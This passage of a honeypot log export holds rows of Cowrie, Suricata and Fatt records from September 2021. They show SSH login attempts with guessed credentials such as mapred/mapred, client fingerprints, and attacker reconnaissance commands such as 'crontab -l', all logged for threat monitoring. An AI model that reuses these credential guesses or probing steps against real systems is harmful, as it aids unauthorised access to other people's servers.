"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 58134, "dest_port": 22, "timestamp": "2021-09-20T11:58:12.168996", "@timestamp": "2021-09-20T11:58:12.168Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33935	36.27.214.211	109.199.241.180	Cowrie	2021-09-20 14:58:13.008705+03	2021-09-20 15:00:06.486734+03	{"_id": "zwYSA3wBvYTbRNuEJVJL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "36.27.214.211", "eventid": "cowrie.login.failed", "message": "login attempt [mapred/mapred] failed", "session": "4d63c228e511", "@version": "1", "password": "mapred", "username": "mapred", "timestamp": "2021-09-20T11:58:13.008705Z", "@timestamp": "2021-09-20T11:58:13.008Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33936	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:13.094302+03	2021-09-20 15:00:06.487733+03	{"_id": "0gYSA3wBvYTbRNuEJVJM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:13.094302Z", "@timestamp": "2021-09-20T11:58:13.094Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33937	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 14:58:13.102152+03	2021-09-20 15:00:06.488734+03	{"_id": "1AYSA3wBvYTbRNuEJVJM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.login.failed", "message": "login attempt [student4/student] failed", "session": "80cf949c2010", "@version": "1", "password": "student", "username": "student4", "timestamp": "2021-09-20T11:58:13.102152Z", "@timestamp": "2021-09-20T11:58:13.102Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
33938	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:13.698667+03	2021-09-20 15:00:06.489734+03	{"_id": "1QYSA3wBvYTbRNuEKVI0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "183.17.231.81", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6049976348876953, "duplicate": true, "timestamp": "2021-09-20T11:58:13.698667Z", "@timestamp": "2021-09-20T11:58:13.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33939	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:14.082608+03	2021-09-20 15:00:06.491733+03	{"_id": "1wYSA3wBvYTbRNuEKVI1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:14.082608Z", "@timestamp": "2021-09-20T11:58:14.082Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33952	96.78.175.36	109.199.241.180	Suricata	2021-09-20 14:58:12.168996+03	2021-09-20 15:00:06.508021+03	{"_id": "ywYSA3wBvYTbRNuEIlKL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:11.791099+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "96.78.175.36", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 929134424560187, "payload": "AAADzAYU39P6v8Z25n4TtPEx6GOBKAAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58134, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:58:12.168996Z", "@timestamp": "2021-09-20T11:58:12.168Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...........v.~...1.c.(...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	\N
33940	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:14.6835+03	2021-09-20 15:00:06.492733+03	{"_id": "3wYSA3wBvYTbRNuELVId", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 22, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "183.17.231.81", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.60152268409729, "duplicate": true, "timestamp": "2021-09-20T11:58:14.683500Z", "@timestamp": "2021-09-20T11:58:14.683Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33941	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:15.091485+03	2021-09-20 15:00:06.494733+03	{"_id": "4wYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "183.17.231.81", "eventid": "cowrie.session.params", "message": [], "session": "7468c9710c83", "@version": "1", "timestamp": "2021-09-20T11:58:15.091485Z", "@timestamp": "2021-09-20T11:58:15.091Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33942	222.186.30.76	109.199.241.180	Cowrie	2021-09-20 14:58:15.093536+03	2021-09-20 15:00:06.496032+03	{"_id": "5AYSA3wBvYTbRNuELVIe", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes128-ctr", "aes192-ctr", "aes256-ctr", "aes256-cbc", "rijndael-cbc@lysator.liu.se", "aes192-cbc", "aes128-cbc", "blowfish-cbc", "arcfour128", "arcfour", "cast128-cbc", "3des-cbc"], "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "1616c6d18e845e7a01168a44591f7a35", "macCS": ["hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-sha1-96", "hmac-md5", "hmac-md5-96", "hmac-ripemd160", "hmac-ripemd160@openssh.com"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "222.186.30.76", "eventid": "cowrie.client.kex", "kexAlgs": ["ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1"], "keyAlgs": ["ecdsa-sha2-nistp256", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp521", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 1616c6d18e845e7a01168a44591f7a35", "session": "30c92046eaa7", "@version": "1", "timestamp": "2021-09-20T11:58:15.093536Z", "@timestamp": "2021-09-20T11:58:15.093Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33943	222.186.30.76	109.199.241.180	Suricata	2021-09-20 14:58:15.047128+03	2021-09-20 15:00:06.497021+03	{"_id": "5gYSA3wBvYTbRNuELlJG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "PUTTY"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "222.186.30.76", "dest_ip": "192.168.20.116", "flow_id": 812274807086953, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 20466, "dest_port": 22, "timestamp": "2021-09-20T11:58:15.047128Z", "@timestamp": "2021-09-20T11:58:15.047Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33944	222.186.30.76	109.199.241.180	Fatt	2021-09-20 14:58:15.047173+03	2021-09-20 15:00:06.49802+03	{"_id": "6QYSA3wBvYTbRNuEL1JS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "222.186.30.76", "asn": 23650, "as_org": "AS Number for CHINANET jiangsu province backbone", "latitude": 32.0617, "location": {"lat": 32.0617, "lon": 118.7778}, "timezone": "Asia/Shanghai", "longitude": 118.7778, "region_code": "JS", "region_name": "Jiangsu", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "222.186.30.76", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss", "hassh": "1616c6d18e845e7a01168a44591f7a35", "ccacts": "none", "ccastc": "none", "ceacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "ceastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc", "client": "SSH-2.0-PUTTY", "cmacts": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "cmastc": "hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com", "hasshVersion": "1.0", "hasshAlgorithms": "ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none"}, "protocol": "ssh", "src_port": 20466, "dest_port": 22, "timestamp": "2021-09-20T11:58:15.047173", "@timestamp": "2021-09-20T11:58:15.047Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
33976	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:58:00.194098+03	2021-09-20 15:00:06.538032+03	{"_id": "eQYRA3wBvYTbRNuE81Kl", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"dns": {"id": 7429, "type": "query", "tx_id": 0, "rrname": "community.sicherheitstacho.eu", "rrtype": "A"}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "UDP", "src_ip": "192.168.20.116", "dest_ip": "195.24.88.8", "flow_id": 302150803060274, "@version": "1", "in_iface": "enp5s0", "src_port": 39474, "dest_port": 53, "timestamp": "2021-09-20T11:58:00.194098Z", "@timestamp": "2021-09-20T11:58:00.194Z", "event_type": "dns", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	dns	\N	\N
33945	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:15.693182+03	2021-09-20 15:00:06.50002+03	{"_id": "6gYSA3wBvYTbRNuEMVIG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "183.17.231.81", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6017835140228271, "duplicate": true, "timestamp": "2021-09-20T11:58:15.693182Z", "@timestamp": "2021-09-20T11:58:15.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33946	183.17.231.81	109.199.241.180	Cowrie	2021-09-20 14:58:11.698689+03	2021-09-20 15:00:06.501021+03	{"_id": "xgYSA3wBvYTbRNuEIVJj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "183.17.231.81", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "183.17.231.81", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "7468c9710c83", "@version": "1", "duration": 0.6012134552001953, "duplicate": true, "timestamp": "2021-09-20T11:58:11.698689Z", "@timestamp": "2021-09-20T11:58:11.698Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33947	36.27.214.211	109.199.241.180	Suricata	2021-09-20 14:58:11.731261+03	2021-09-20 15:00:06.50202+03	{"_id": "yQYSA3wBvYTbRNuEIlKL", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:58:11.137206+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "36.27.214.211", "asn": 4134, "as_org": "Chinanet", "latitude": 30.294, "location": {"lat": 30.294, "lon": 120.1619}, "timezone": "Asia/Shanghai", "longitude": 120.1619, "region_code": "ZJ", "region_name": "Zhejiang", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "36.27.214.211", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1388283608373238, "payload": "AAADzAYUB4hVcT/N/u+ABJlgJCabSgAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe